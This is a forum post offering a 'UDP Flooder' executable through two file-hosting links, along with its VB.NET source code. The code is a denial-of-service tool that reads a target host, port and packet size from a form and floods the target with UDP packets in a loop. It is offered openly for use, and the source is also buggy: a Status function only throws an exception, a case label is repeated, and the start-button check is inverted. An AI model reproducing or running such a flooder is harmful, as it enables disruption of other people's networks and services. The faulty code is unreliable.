Jump to content
bc-vnt

UDP Flooder + source code in VB.NET

Recommended Posts

Download : UDP Flooder.exe download - 2shared

Download2 : Zippyshare.com - UDP Flooder.exe

Imports System.Net, System.Net.Sockets, System.ComponentModel
Imports System.Windows.Forms.VisualStyles.VisualStyleElement

Public Class Form1
Public Enum Staus
Attaking = 1
Stopped = 2
End Enum
Friend WithEvents bgFlood As New BackgroundWorker
Dim IsFlooding As Boolean = False
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
bgFlood.WorkerReportsProgress = True

End Sub
Private Sub Flood(ByVal sende As Object, ByVal e As DoWorkEventArgs) Handles bgFlood.DoWork
Dim IP As IPAddress = IPAddress.Parse(Host.Text)
Dim IPandPort As New IPEndPoint(IP, Convert.ToInt32(Port.Text))
Dim Packet As Byte() = New Byte(PacketSize.Text) {}
Dim SockNum As Integer = Sockets.Text
Do While IsFlooding = True
For i = 0 To SockNum
If IsFlooding = True Then
Dim _Sock(i) As Socket
_Sock(i) = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
Try
_Sock(i).SendTo(Packet, IPandPort)
bgFlood.ReportProgress(Status)
Threading.Thread.Sleep(500)
Catch ex As Exception
Threading.Thread.Sleep(500)
End Try
Else
Exit Do
End If
Next

Loop
bgFlood.ReportProgress(Status)
End Sub
Private Sub Report(ByVal sender As Object, ByVal e As ProgressChangedEventArgs) Handles bgFlood.ProgressChanged
Select Case e.ProgressPercentage
Case Status()
ListBox1.Items.Add("Flooding..." & Date.Now.ToLocalTime)
ListBox1.SelectedIndex = ListBox1.Items.Count - 1
Case Status()
ListBox1.Items.Add("Stopped... -" & Date.Now.ToLocalTime)
ListBox1.SelectedIndex = ListBox1.Items.Count - 1
End Select
End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
IsFlooding = True
If Not bgFlood.IsBusy = False Then
bgFlood.RunWorkerAsync()
End If
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
IsFlooding = False
End Sub

Private Function Status() As Integer
Throw New NotImplementedException
End Function

End Class

Edited by bc-vnt
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...